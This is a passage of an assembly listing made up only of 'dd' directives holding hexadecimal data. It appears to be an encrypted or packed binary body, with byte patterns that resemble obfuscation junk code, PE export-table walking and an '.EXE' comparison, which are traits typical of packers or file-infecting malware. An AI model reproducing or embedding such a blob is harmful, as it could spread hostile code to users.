		dd 4F33DC92h, 0A585704Ah, 856DF039h, 542013E2h,	0ED3DF60Ch
		dd 3D24D9Dh, 0F60C5BCCh, 8F15DB39h, 893C8CDCh, 6D35930Eh
		dd 542518E7h, 0EA3AF60Ch, 8513D634h, 18DB5539h,	0A286A88Ch
		dd 16FA8E4Ah, 0B9960BEh, 6520858h, 0C695108Bh, 0F60C6777h
		dd 6AC998E8h, 0F3F60C67h, 9909EDA3h, 96C322E7h,	4127h
		dd 8E4A4300h, 43BE16FAh, 0E2981CE5h, 0C672013h,	9ED3DF6h
		dd 1CE543BEh, 0BF87E598h, 0E2328235h, 7B31BB84h, 8043BE97h
		dd 0EA9CA8CBh, 1221F0B2h, 4BF60C8Ah, 25E745FBh,	0AC90B397h
		dd 4AE3h, 8E4AFF00h, 0EFBE16FAh, 0F60C674Ch, 0BE4D3181h
		dd 67C17443h, 7CB5F60Ch, 2D8717C5h, 43096741h, 3CB76DBDh
		dd 9F9A63C1h, 0CF0DDC7Ah, 0F2A5F5A6h, 0F48244A2h, 0FBBE5A3Eh
		dd 111C0849h, 0B073D1FDh, 4E106E24h, 1262F0B2h,	0E3AC902Eh
		dd 0C4h, 0F8704AFFh, 6877AE7Dh,	15D8F60Ch, 41D58782h, 4B70750h
		dd 7E47E3A6h, 765AA6F6h, 926118DBh, 0F60C67A3h,	0CB25EBCh
		dd 3EB90959h, 0C67CC6Fh, 0F14191F6h, 0BEA2860Dh, 67C17443h
		dd 4E9EF60Ch, 592FA998h, 9909ED75h, 96C322E7h, 4127h, 8E4A4300h
		dd 75217FFAh, 1ED424D7h, 9860BE3Ah, 672114E3h, 0EE3EF60Ch
		dd 0E59BEB9Eh, 67989B6Ah, 75C5F60Ch, 0DBDABE91h, 90A78B19h
		dd 64F0B715h, 2B54306h,	0E318FCB2h, 38h, 0BD430A68h, 8E4A2307h
		dd 0C38B23ECh, 1D26E939h, 0C92A5655h, 0BEAC90E0h, 6D1CE543h
		dd 0C679F9Eh, 2070C0F6h, 67989B6Ah, 0E535F60Ch,	0DBDABE01h
		dd 29B77D19h, 0AC90F5D9h, 0D98C18DBh, 0B42FB57Bh, 67CB6A39h
		dd 0D194F60Ch, 0CFFA53D7h, 0DC3138Fh, 14A063C1h, 36C6D699h
		dd 5D1FA711h, 0F9AF3DFFh, 0FAC67746h, 3EE1F60Ch, 25F9BCE4h
		dd 0F955DC7h, 32490C5Ch, 0B77AD863h, 70267629h,	75C14F12h
		dd 8DB07FFAh, 4EF60C3Eh, 0F646F987h, 8251CC1Ch,	0F60C3EB3h
		dd 48A65CACh, 8B44F785h, 0FD55F8B6h, 0A5742DF0h, 0F60C3E96h
		dd 0BE7D4CC7h, 9FF60C3Eh, 34AFFF4Fh, 0CE810FD6h, 0EB149C0Bh
		dd 3E8EFCECh, 714D3C88h, 8BAD7CF7h, 3BFC134Ah, 0D98F15DDh
		dd 54D8A1FFh, 4E0151A1h, 0B56B07Fh, 0BB9336F0h,	0CA602AECh
		dd 1C6A99h, 0DB860000h,	5ED98C18h, 0F7AA5400h, 1322F1A7h
		dd 92F60C67h, 0C78A57EFh, 8BDB692Bh, 18DB5B3Fh,	0D4EAD98Ch
		dd 1F4A1994h, 68FC18B9h, 0E1DDCC18h, 0FB3D0C87h, 0CBFA1F20h
		dd 97026508h, 0B97E41EBh, 808F8AD3h, 741CB6C0h,	89016124h
		dd 465A8414h, 9058B690h, 9D85306h, 0F607F12Ah, 4393E333h
		dd 0F0B71590h, 0B8088E56h, 0BDAC4205h, 1563D3FFh, 0F1400FC5h
		dd 0F7F60726h, 0EBADFA54h, 3393CE6Fh, 0EBBB8170h, 97E79A22h
		dd 0FE4C4CD4h, 9A4DD7A0h, 3511944Ah, 2D000000h,	109E60BEh
		dd 68570D5Dh, 0CC9B1652h, 0F60C6899h, 0BD1B96E6h, 2661FDF4h
		dd 51AC8634h, 0C85B382h, 0C5CACF6h, 1AE341BCh, 0E3713492h
		dd 218BE12Dh, 0A7000000h, 0B9960BEh, 2F0EDD58h,	30F60C67h
		dd 0EBDA90E0h, 4F1E99CFh, 0F60C6810h, 3C9A1565h, 0B99DE973h
		dd 14BE3h, 6F4AFF00h, 0A28613F7h, 0A88C18DBh, 0F9D60BEh
		dd 0A560C5Ch, 22E79926h, 332796C3h, 43000000h, 0C9A60BEh
		dd 0A933FB59h, 5B4A359h, 43BE7D61h, 9B6A23E5h, 0F60C6798h
		dd 6F2575C5h, 0C679DA0h, 8E72C2F6h, 12DBDABEh, 0AC90A68Ah
		dd 2DE3h, 60BEFF00h, 6B5A109Eh,	0BE34184Eh, 0C674CEFh
		dd 4D3181F6h, 12DBDABEh, 0D929B37Ch, 7443BEF5h,	0F60C67C1h
		dd 0EF984E9Eh, 0C14F1674h, 18DB270Bh, 0A286A88Ch, 16FA8E4Ah
		dd 0E79909EDh, 2F96C322h, 8E6FD66Ch, 39893CE2h,	4B3B4876h
		dd 0A5C27E93h, 53095926h, 3BD0h, 8E4AEC00h, 2C586987h
		dd 76542A5h, 0B505B844h, 0EFBE8165h, 0F60C674Ch, 8346C111h
		dd 0CA6A5E2Bh, 967A3021h, 60BEDABEh, 0A933FCB4h, 0A056A6F6h
		dd 0EF28042h, 16E3AC90h, 0FF000000h, 16FA8E4Ah,	674CEFBEh
		dd 3181F60Ch, 0DBDABE4Dh, 90A78B19h, 8115DBACh,	0FB3A09B8h
		dd 64F60C67h, 7A49C414h, 0F60C67BBh, 890454A4h,	2ADD7F2Bh
		dd 0F67124DAh, 1D757A33h, 0B3790AEEh, 6736F988h, 8245A3F9h
		dd 3DF343F6h, 0C50C26Eh, 0BE460FF6h, 60E4AD0Bh,	0DC7619ADh
		dd 73E524ACh, 4191F6EFh, 0D6E33BDEh, 52368210h,	0DC8F15DBh
		dd 772AB87Eh, 903812B5h, 86803BCDh, 3EF4CFB6h, 408C1AE0h
		dd 0C9FB071h, 32F393F6h, 7293C412h, 0FFFFFE8Eh,	67C76A8Eh
		dd 149BF60Ch, 4CF60C68h, 0F60C67EAh, 0A8A970CEh, 0E5A212D5h
		dd 16C919DFh, 0FE4110C6h, 0C6F60CFBh, 6218A668h, 0CFBAC93h
		dd 0FB7DC4F6h, 0CE49B60Ch, 0CFB3CFFh, 1BD12136h, 5BD6922Ch
		dd 16C0F48Ch, 5625A03Ch, 30050FE7h, 13652878h, 532F5E28h
		dd 0CB1BF5ABh, 94E78D50h, 0EAAD37FFh, 23D9B815h, 1D3D8170h
		dd 27DCD5Bh, 1A6E1D33h,	0BB1A6A3Ah, 0F4CB2F61h,	81EC42F5h
		dd 0ED000002h, 0F2509C40h, 0F856A230h, 0FB59A52Fh
		dd 361AD4Fh, 826CB83Ch,	0D3612861h, 0DB612987h,	0E56B318Fh
		dd 0EC783B99h, 0E3B22DA0h, 0F0003E50h, 0DB4A2E0Dh, 5ED98C18h
		dd 0FBAE3800h, 0FA4AD69Dh, 0D4695544h, 0C673605h, 0DDAC27F6h
		dd 0F60C675Eh, 0F5FAFFFh, 3B5AD194h, 0DE911FE2h, 4999CB8Eh
		dd 5F2EA95Fh, 0FC18CE2Ch, 0F4471691h, 69F00041h, 0AE7DC919h
		dd 0F0004183h, 0EE69FFBFh, 149E501Fh, 0E1C285FAh, 58C03236h
		dd 1D7BF646h, 0C717CA56h, 75389611h, 7A3D9BE7h,	0CD6C3BEEh
		dd 85F60CE3h, 0E5B42F39h, 0FC183DBEh, 0E644BF0Fh, 34C08723h
		dd 0D85C2381h, 3585D525h, 3CC88BE9h, 44249A89h,	6CCFFAC9h
		dd 0E838FA14h, 0F0784635h, 3CD7A675h, 0B808FC18h, 901CDF3Dh
		dd 7F4EC944h, 0F000B3BCh, 0F59743A1h, 0ECA2F242h, 4312CB8Eh
		dd 0F000B3F0h, 1023F26Dh, 4DF000B3h, 874FADFDh,	0B732ADFDh
		dd 0B355E8h, 0C08F0AF0h, 0F000B37Dh, 8C4292E2h,	55270AD9h
		dd 0A31BF000h, 0E197AE52h, 0A66CE704h, 0CD1D6D20h, 0F033027Dh
		dd 4DFA1420h, 635B4AFDh, 3DBB8A05h, 0AAFC135Fh,	0E2BFB5Ah
		dd 9043AED2h, 13F3Ah, 0DA822F00h, 0E06E308Eh, 0E76D3694h
		dd 0EB913D9Bh, 0F67A419Fh, 5E9FC0AAh, 5FBD0997h, 63C10D97h
		dd 6DCB179Dh, 5FD21EAAh, 3D2615E4h, 5837F000h, 0F4744A74h
		dd 923BFE79h, 5C55E518h, 5F8E5D13h, 0FFFC18ADh,	9F52DEA1h
		dd 44BF994Fh, 22C675h, 0F74797F0h, 0FF695544h, 0C797B584h
		dd 98E8FA1Fh, 0CE96F739h, 82D88BB4h, 0D4h, 34FED9Ah, 955E3A5h
		dd 0E5AE2ABh, 0E5A04B0h, 0F5BE9B0h, 0FCC30425h,	6CE2C78h
		dd 10D63480h, 15D83682h, 4DC83B87h, 3DBF7Eh, 0DDC1A0F0h
		dd 1EE6744Ah, 4595E598h, 0B9D0FBCAh, 0ED3DFC18h, 20FCBF3Ah
		dd 75696FEBh, 38FB590Fh, 0FE4EDC9Eh, 39154B2h, 0B5D6150h
		dd 0BB71590h, 0C5D46736h, 3989F000h, 30E636E9h,	141A9E61h
		dd 0ABF747FAh, 0B1FD8B4Dh, 0B6028A53h, 0B602AC58h, 88039158h
		dd 28DE642Ah, 29B77EDCh, 2DB77FDDh, 37BD83E1h, 3ECA8DEBh
		dd 0BA7948C3h, 1FF60C95h, 0A1F1CB59h, 0C6249FEBh, 75C578FEh
		dd 139961BFh, 82E6D8C7h, 4A493807h, 409EFC18h, 0EC3CEF7Dh
		dd 0C88BE99Ch, 7746C13Ch, 0F000C5C4h, 47934999h, 3F1h
		dd 694D0D00h, 0DB8E2EDBh, 7B2EBA7Dh, 16C9571Dh,	0B366F0B8h
		dd 4F028E55h, 0F3A62AF1h, 9043E995h, 30E36932h,	0CF8210D2h
		dd 452687Eh, 1C890000h,	0E2895224h, 4C281h, 0EA810000h
		dd 4, 5C241487h, 53240489h, 0C381E389h,	4, 4EB81h, 1C870000h
		dd 14895C24h, 51486824h, 48B060Ch, 4C48124h, 54000000h
		dd 8324148Bh, 3C6804C4h, 89000027h, 428F2404h, 24148B08h
		dd 81E68956h, 4C6h, 4C68100h, 87000000h, 0FF5C2434h, 83582434h
		dd 56E904C4h, 0FFFFFB20h, 0C5BB8B8h, 8BC50306h,	149E9C3h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0F66527C3h, 5CE5B58Dh, 13E9060Ch,	1D000000h
		dd 0F80B2A8Bh, 77D4F147h, 53D2BA18h, 0A089139Ch, 858DD673h
		dd 60A4A8Ah, 5DB8060h, 959FCB81h, 0FF613ED3h, 52006AD0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0CB896C4Ch, 6660D94Fh, 616845B8h, 10E9C3h, 0C6A30000h
		dd 0EF065117h, 9CC805ACh, 327FB976h, 8C0FADA4h,	16h, 3FEE8160h
		dd 0E94A1DA9h, 9, 257EB556h, 0E952B6CEh, 8C66618Eh, 53006AD9h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0F3B9B204h, 0F6F873EFh, 840F04C1h, 39h, 8BFB8BFCh, 0AEC032CBh
		dd 0CF2BFD75h, 0F92BD9F7h, 8B49D78Bh, 0CD00EBD9h, 1013F20h
		dd 74C00B00h, 0C708D18h, 0CB8BFA8Bh, 490A75A6h,	1B8FA75h
		dd 0EB000000h, 0EB008B09h, 0B8E4h, 6ACF0000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 4C6AC350h, 580AD29Bh, 387EFEEEh, 860F60FCh, 6, 820Fh
		dd 0C7610000h, 0C5D2C85h, 1013F06h, 7F8D8D00h, 6A060C5Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 954EC357h, 1949E529h, 0ED0F271Ah,	0AE51B866h
		dd 0A018D89h, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 22AB32C3h, 0E40FC85Eh, 17D5B533h
		dd 858B0607h, 60706E5h,	14A585C7h, 65800607h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 11E93AC3h, 23000000h, 269493h, 99B7B328h, 15F8D9BAh
		dd 7D75CEE2h, 9D59D01h,	85C70607h, 6072FD5h, 0
		dd 271B58Bh, 0B5FF0607h, 6070CDDh, 0B3BDBB66h, 1C1995FFh
		dd 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 8B4D4EC3h, 70B9185h, 0FF006A06h, 71B6995h
		dd 0EBC08B06h, 30B83F48h, 6BF375FCh, 0A7538BC4h, 0A8277DDFh
		dd 0BB1C7CA2h, 8A18675Eh, 1224D225h, 79D4B3D7h,	692AF1A5h
		dd 5CFB2324h, 7E2E410h,	30DBD2F2h, 26A27AF9h, 353FE1F6h
		dd 205C6BCBh, 3CA15C3Ah, 88EB7922h, 92E96E9Bh, 0D3125CD9h
		dd 0BF4B45E8h, 4AAF47A4h, 5E7033F0h, 22344B04h,	0F3717C78h
		dd 0B08495FEh, 0CE845183h, 85258F31h, 0F1793F46h, 42896E22h
		dd 0F232F103h, 0F30DFE3Eh, 0F35EBD31h, 0F3373667h, 0AD146F31h
		dd 87BDE9F2h, 0B7B5DF15h, 0F321E915h, 0A572F631h, 4154A8F2h
		dd 0F07E54EDh, 0E3DDDE31h, 0C8346F31h, 46AC113Fh, 0BC953A31h
		dd 0A1ECB8EEh, 700508FAh, 0F423CA8Ch, 773BBD37h, 0F334DE6Ah
		dd 1B676F5Bh, 0F334B732h, 0A8F78011h, 0F710B1B8h, 0F710B2B0h
		dd 0F3347B2Ah, 18F7EE72h, 997110C3h, 0A4874CEDh, 4C2778Bh
		dd 0ADD825Ah, 9934ED33h, 0F0DCA631h, 0D3347B31h, 7A6C7E69h
		dd 7230FA75h, 0E9304B75h, 0B334B731h, 4D671861h, 0B8D43423h
		dd 0F7BEF996h, 95347B31h, 7EB6838Eh, 0FF6A32B4h, 24B50937h
		dd 7852EAF8h, 78528BC9h, 0D73064E1h, 7EC5493Eh,	0FF6AB5B4h
		dd 0D8F23C37h, 0A34368CBh, 7AC5E457h, 773B9335h, 0F334DB2Ah
		dd 0F334E8D9h, 0A45B5831h, 0F8DDCE69h, 0CB34BD31h, 0C2D6E86Eh
		dd 0CC3D566h, 0C6A2C80h, 0F41BBAA4h, 39B58B37h,	33BFBCFCh
		dd 0F3399361h, 9332BD31h, 88C8E1Eh, 1D494BE2h, 726AC2B8h
		dd 0DB323AFEh, 706DB22Bh, 0F436E78Ch, 0FA417B37h, 0FE5100B2h
		dd 8734D836h, 78673F28h, 0F74E0FF1h, 76BDDB31h,	0F533DD1Ch
		dd 599C6BBCh, 20CB7D38h, 4EB7E56Ah, 0F533D354h,	0A3231B31h
		dd 0F74E0F62h, 76BDDB31h, 0F533DD1Ch, 54A36BBCh, 20CB7D38h
		dd 7852E56Ah, 49F455CAh, 0FC8A0FEFh, 7EE7003Eh,	0FF6A0DACh
		dd 76B91837h, 0F538AA6Ah, 1B667B5Bh, 0F334BD32h, 0A9F78411h
		dd 0F7103BB8h, 0F710F3B0h, 0F334DB28h, 0A9F7BF73h, 0B92B7259h
		dd 4A522A2Ah, 786AD50Eh, 0CCA55CBh, 0A33405E1h,	0F334B4D9h
		dd 306CFB31h, 0D7706469h, 0D7707735h, 0F3346F35h, 3064FD31h
		dd 9BFB846h, 773BAF3Ah,	0F334B7B5h, 0B87E46BCh,	2CB5EB36h
		dd 0D1446FE9h, 0F328F83Eh, 4054BD31h, 0F32737F4h, 46F36F31h
		dd 8763AC84h, 0D87E9457h, 0C5CEE125h, 28BEF8A6h, 0F08C1A79h
		dd 9934BD31h, 0F0DC8B31h, 0D3346F31h, 7A69746Ch, 7230FF5Dh
		dd 0E430C975h, 0B634F631h, 1A47B864h, 10CB11DCh, 0F31E5F3Eh
		dd 0E3DC6F31h, 3B34B731h, 1BB54F3h, 0D3A87FDBh,	0D48FC54Bh
		dd 1A878777h, 0F334BD3Eh, 9294B907h, 12BE03C6h,	6617C9BAh
		dd 0A9BED09Dh, 0ADEA70BCh, 4C52F03Dh, 76B9D3B7h, 0F538E16Ah
		dd 0F334D8D8h, 3148C731h, 0C7C700Ah, 0A434B1E1h, 0F334EED9h
		dd 306BD631h, 0D748F26Eh, 0D7703C35h, 0F334C235h, 30632831h
		dd 1187524Ah, 2054E1BDh, 3D83E2CAh, 773B363Ah, 0F3347B01h
		dd 0ADFF3666h, 0B87E43BCh, 0AC656936h, 0F334B689h, 99D72431h
		dd 0F0DCBC31h, 0D334F631h, 7A6DB868h, 7230997Dh, 0E630FA75h
		dd 0B2346F31h, 77427460h, 0ADD746BCh, 0FDDDEB3Dh, 1A34F631h
		dd 4012E2AAh, 0AA6F7D44h, 0E19C29BCh, 0A8B1E222h, 9932BB6Dh
		dd 0F0DC8831h, 0D334ED31h, 7A6F356Ah, 72305F6Dh, 0EB309975h
		dd 0B034DE31h, 157DAC62h, 0FC58F809h, 4A521086h, 23CB8BB2h
		dd 333F0DBAh, 0F37AFF3Eh, 1EB4BD31h, 0B9A95309h, 7232687Ah
		dd 736E72C6h, 0F3376314h, 0E08DED31h, 0C5B5259h, 0A33411D2h
		dd 0F334BED9h, 306CFE31h, 0D770E669h, 0D7703635h, 0F334CC35h
		dd 3064AD31h, 89336C51h, 0F33474D8h, 3DF9EA31h,	5E692FBFh
		dd 69768CF1h, 0F5AE1E50h, 3F895672h, 7E32E16Fh,	0FF567ABCh
		dd 0AF49C337h, 7607377Ah, 0F533DA64h, 1AF5A01Ah, 0EA70BC33h
		dd 52F03DADh, 0B9D3B74Ch, 38E16A76h, 34D8D8F5h,	48C731F3h
		dd 5E98331h, 0C08BA4F3h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 16h, 7EC35545h, 0FE88BFCh,	3B000000h, 1C0BEE8Fh
		dd 8FDE3538h, 21BBA5CBh, 850F5397h, 0Bh, 6E9h, 1F90B400h
		dd 5F3226E6h, 0BF0FC38Bh, 8B6660C9h, 0C08B61C6h, 66D68B66h
		dd 830A62BFh, 70211BDh,	9750006h, 0D65BD83h, 74000607h
		dd 8B535019h, 47AB8C0h,	85890000h, 60723A9h, 0AB0F9D8Dh
		dd 0D3FF0609h, 0BD83585Bh, 6070D65h, 50177400h,	47AB853h
		dd 85890000h, 60723A9h,	0A7B09D8Dh, 0D3FF0609h,	6A585Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 5F9C5C3h, 0A0B182B3h, 665334CBh, 0E89B58B9h,	0Ah, 0C5C26E12h
		dd 285CF358h, 810F5C4Fh, 5, 2B38B9h, 0C08B5A7Ah, 0BE8h
		dd 0FC442000h, 16043B89h, 0CDA3A83Eh, 0BA6658F9h, 0C0814A50h
		dd 5F3Dh, 5F536060h, 68F0F61h, 81000000h, 165C71D9h, 0BB6106h
		dd 0F000000h, 0E8Ah, 5E800h, 77610000h,	0F0E471Fh, 8B5AF3B7h
		dd 5E9180Ch, 79000000h,	9E02A499h, 0FEAEF181h, 0B70F1811h
		dd 32E981FFh, 0E97322B1h, 7, 0EE434644h, 81D66AB7h, 13F27DC1h
		dd 10810F57h, 60000000h, 6E9h, 625C600h, 8059637Bh, 8961EFD8h
		dd 0F956180Ch, 6860F5Eh, 81000000h, 5EBAA1EEh, 3EB8339h
		dd 10E9h, 0A1D50700h, 25170AFBh, 2A390ADDh, 63E52BE1h
		dd 81664B23h, 812492F7h, 0FFA1ACFBh, 80850FFFh,	60FFFFFFh
		dd 9E8DF8Bh, 0D6000000h, 8B855624h, 0EF3886B2h,	13E9h
		dd 0D2EF4C00h, 16F03F36h, 67A18952h, 0CB58AD25h, 78AEE30Ch
		dd 8E8615Fh, 0A000000h,	0EF3E478Fh, 0B76005D4h,	5B515FEAh
		dd 58EBC781h, 0BB660000h, 0F6335EB8h, 3E34FFF9h, 0D98B665Ah
		dd 0D9D4C281h, 0BF0F4196h, 30F281C0h, 8121AD05h, 0BE98ECC0h
		dd 18EA815Dh, 0B5709DD1h, 0CFB4524Fh, 8B37048Fh, 1EE83CAh
		dd 664E4E4Eh, 8143A0B9h, 0FFA770FEh, 0BE850FFFh, 80FFFFFFh
		dd 8D8DA0EBh, 60C6561h,	1E719529h, 8D890607h, 6070A01h
		dd 409B589h, 85C70607h,	60714A5h, 5D88h, 31919D31h, 85C70607h
		dd 6072FD5h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 31C35545h
		dd 19B5FFA4h, 0FC060703h, 1C1995FFh, 10E90607h,	5D000000h
		dd 3953C55Fh, 0C4165A41h, 0CC5F8E54h, 6A2B9308h, 6995FF00h
		dd 8B06071Bh, 0F42CEBC0h, 46B6DA88h, 0A8CA1C5Dh, 7E3FC40Fh
		dd 87006B8Fh, 0AD9B1D6Eh, 29BBED7Eh, 0CBDC12D3h, 0D44D6C90h
		dd 1B7DAB23h, 1462E89Fh, 0E9988565h, 266h, 0D98C6660h
		dd 0F04C1F6h, 3584h, 0FF016A00h, 72939B5h, 0F4858D06h
		dd 0FF060A70h, 898589D0h, 8B06070Ah, 0CEFC1FEh,	6000068h
		dd 6A006A20h, 0D685702h, 0FF000100h, 70A8995h, 32E906h
		dd 85C60000h, 6071525h,	30DF6856h, 0B5FFA9C5h, 6071CBDh
		dd 70F4858Dh, 0D0FF060Ah, 28318589h, 858D0607h,	60728A9h
		dd 6A406A50h, 95FF5605h, 6072831h, 0C361h, 2 dup(0)
		dd 8B520000h, 428B60D4h, 15858908h, 8B060C66h, 85890C42h
		dd 60C660Dh, 8910428Bh,	0C661185h, 4BB58D06h, 8D060C66h
		dd 5B7E3585h, 61D0FF00h, 0CC25Ah, 6615B58Bh, 858B060Ch
		dd 60C660Dh, 6611BD83h,	0F00060Ch, 784h, 0E9068900h, 2
		dd 0CF0688h, 0
		dd 52000000h, 8B60D48Bh, 85890842h, 60C6615h, 669CB58Dh
		dd 858D060Ch, 5B7E35h, 5A61D0FFh, 6615858Bh, 4C2060Ch
		dd 15858B00h, 8B060C66h, 15858900h, 0CF060C66h,	0
		dd 72B58960h, 89060C66h, 0C666E85h, 0AD858D06h,	8B060730h
		dd 85894440h, 60C66ABh,	66E1B58Dh, 858D060Ch, 5B7E35h
		dd 8B61D0FFh, 0C667285h, 9D8BC306h, 60C666Eh, 3C43B70Fh
		dd 5B8BD803h, 6E9D0378h, 8B060C66h, 0B5032473h,	60C666Eh
		dd 207B8B56h, 31C738Bh,	0C666EBDh, 6EB50306h, 0FC060C66h
		dd 41FFC983h, 66729D8Bh, 178B060Ch, 666E9503h, 0C783060Ch
		dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h,	43FFFFFFh
		dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h
		dd 86048B0Fh, 666E8503h, 8589060Ch, 60C6672h, 0CE8BF08Bh
		dd 0BD81C18Bh, 60C66ABh, 0C0300000h, 0D850Fh, 0E8C10000h
		dd 0FFC2514h, 8E90000h,	0C1000000h, 0F82512E8h,	8B00003Fh
		dd 0C66ABBDh, 70C8306h,	7148B06h, 8124C28Bh, 0C18B813Ch
		dd 57840Fh, 0BD810000h,	60C66ABh, 0C0300000h, 0D850Fh
		dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h
		dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h
		dd 81000000h, 0C66ABBDh, 30000006h, 0E840FC0h, 25000000h
		dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 60C6619h,	18058589h
		dd 858D0607h, 60C66AFh,	11B18589h, 858D0607h, 60C6676h
		dd 1BA58589h, 3CE90607h, 1, 4Eh	dup(0)
		dd 83000000h, 72FA9BDh,	840F0106h, 453h, 0C830Fh, 860F0000h
		dd 6, 890Fh, 85C60000h,	6071525h, 52006A43h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 68FC0D9Ch
		dd 0C0382722h, 11860Fh,	0CE90000h, 31000000h, 4A6A4362h
		dd 0B4F56CF8h, 812FA464h, 0A9D32404h, 6A2C6Dh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0D19653C3h, 5E91FA1h, 1E000000h, 2C5003F7h, 1CBDB5FFh
		dd 870F0607h, 1, 0F4858DF8h, 0F9060A70h, 0E960D0FFh, 10h
		dd 0FCF5373h, 854AC905h, 8A2FFA37h, 0E4C9C722h,	0CD858961h
		dd 0F8060703h, 152585C6h, 60500607h, 5863B453h,	0CFDCD781h
		dd 0F6148A3h, 185h, 0CD68F800h,	0FC13E5Ah, 138Ah, 95B06000h
		dd 9E8h, 0C6D41A00h, 0F8827802h, 615F8174h, 9B243481h
		dd 606993F7h, 6860Fh, 0C6810000h, 7000848Ah, 8E9h, 0F74F4900h
		dd 244E307Ah, 0B5FF618Eh, 6071CBDh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0A0C35545h,	8D057269h, 0A70F485h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0CEB1289Eh, 1830Fh, 0F5F90000h, 6AD0FFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 338A56C3h, 35CFD9CBh, 5D85895Bh, 60060714h, 0DE8h, 69109700h
		dd 0F5AC3F82h, 313A1FF4h, 850F511Fh, 0
		dd 6B68615Ah, 60C7FF6Ah, 0DA8B6650h, 0CE958h, 0C07A0000h
		dd 0DD58BF6h, 4B57188Ah, 816146FCh, 3DC42404h, 8B0F2890h
		dd 8, 28A0Fh, 61600000h, 1CBDB5FFh, 8DF90607h, 0A70F485h
		dd 0A820F06h, 0E9000000h, 5, 1A36C789h,	8F0F60CEh, 5, 44C08166h
		dd 0D0FF6109h, 13E9h, 0F2EB7B00h, 0DC6A45CEh, 0A9C0B323h
		dd 702AFCBh, 418EDED2h,	8CD18160h, 662C6BBDh, 8961C88Bh
		dd 7202585h, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0F5CB4FEDh, 152585C6h, 0F500607h
		dd 198Ch, 14E900h, 0C08E0000h, 6B33AABAh, 0A6737084h, 2E3996ABh
		dd 0D9E99747h, 5568460Dh, 603AA4C5h, 0D860Fh, 8E90000h
		dd 7E000000h, 0B10B69FBh, 669FEF4Fh, 8161CB8Bh,	17012404h
		dd 0FFFC5CF8h, 72939B5h, 1890F06h, 0FC000000h, 388D858Dh
		dd 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 7C2D4BC3h, 0E0055411h, 0F9FC97C7h, 0BB60D0FFh
		dd 313B3515h, 99CA8166h, 858961B2h, 6073289h, 0DE9h, 379E7200h
		dd 85C2AECDh, 0CA456E7Fh, 54E94467h, 0F000001h,	188h, 5050F500h
		dd 14E952h, 8BA70000h, 29F67E94h, 439D8FC0h, 0C7487FCFh
		dd 0E4B8D3CFh, 310F3A0Ah, 61605250h, 6E9310Fh, 0CD000000h
		dd 0B9FCD4C8h, 5A585A55h, 242C8958h, 0CE9h, 9DDBC500h
		dd 7CD353B7h, 4E26AA5Fh, 60EC8B82h, 8166BFB6h, 6113B0C6h
		dd 60FCC483h, 610CCB80h, 0B70F6060h, 0F0BF0FCEh, 0E861h
		dd 815A0000h, 0C6CDDEAh, 0FC45C706h, 0
		dd 2FA9BA83h, 0F010607h, 9884h,	6A5200h, 92FF0F6Ah, 60703CDh
		dd 2682895Ah, 8D060C68h, 0C682A9Ah, 3C75206h, 128h, 92FF5053h
		dd 607145Dh, 9A8D525Ah,	60C682Ah, 26B2FF53h, 0FF060C68h
		dd 7328992h, 0C00B5A06h, 9A8D5074h, 60C682Ah, 33247B8Dh
		dd 4F981C9h, 74000001h,	3C8141D4h, 58452E39h, 8DEE7545h
		dd 752B3934h, 9DBA8D0Ch, 8B060707h, 0A4F30C4Dh,	52AAC032h
		dd 8D0875FFh, 7079D82h,	92FF5006h, 6072025h, 75C00B5Ah
		dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh
		dd 5E900h, 41F00000h, 0FF01EB3h, 18Bh, 5660F900h, 870Fh
		dd 0E9580000h, 0Ah, 49D16h, 75268366h, 8B611C65h, 15CE9D2h
		dd 183F0000h, 4CC3F099h, 5FB09681h, 51BB0A93h, 51B85398h
		dd 5FB30A9Bh, 768F5390h, 23863ABBh, 222753E9h, 7E7BC4C9h
		dd 0B19C607Dh, 130752AEh, 12D753DFh, 13FF53DFh,	13FB53DFh
		dd 2 dup(13FF53DFh), 13D053DFh,	13FF53DFh, 13F753DFh, 13FF53DFh
		dd 6AAC53DFh, 7E9A27ACh, 61AF73DFh, 609A30B0h, 13FF0EACh
		dd 3Ch dup(13FF53DFh), 0B80753DFh, 0C6E97AADh, 68000017h
		dd 60C716Ah, 0FBD4C3E9h, 725768FFh, 0B9E9060Ch,	68FFFBD4h
		dd 60C7359h, 0FBD4AFE9h, 740668FFh, 0A5E9060Ch,	68FFFBD4h
		dd 60C75B2h, 0FBD49BE9h, 777E68FFh, 91E9060Ch, 68FFFBD4h
		dd 60C788Fh, 0FBD487E9h, 796768FFh, 7DE9060Ch, 68FFFBD4h
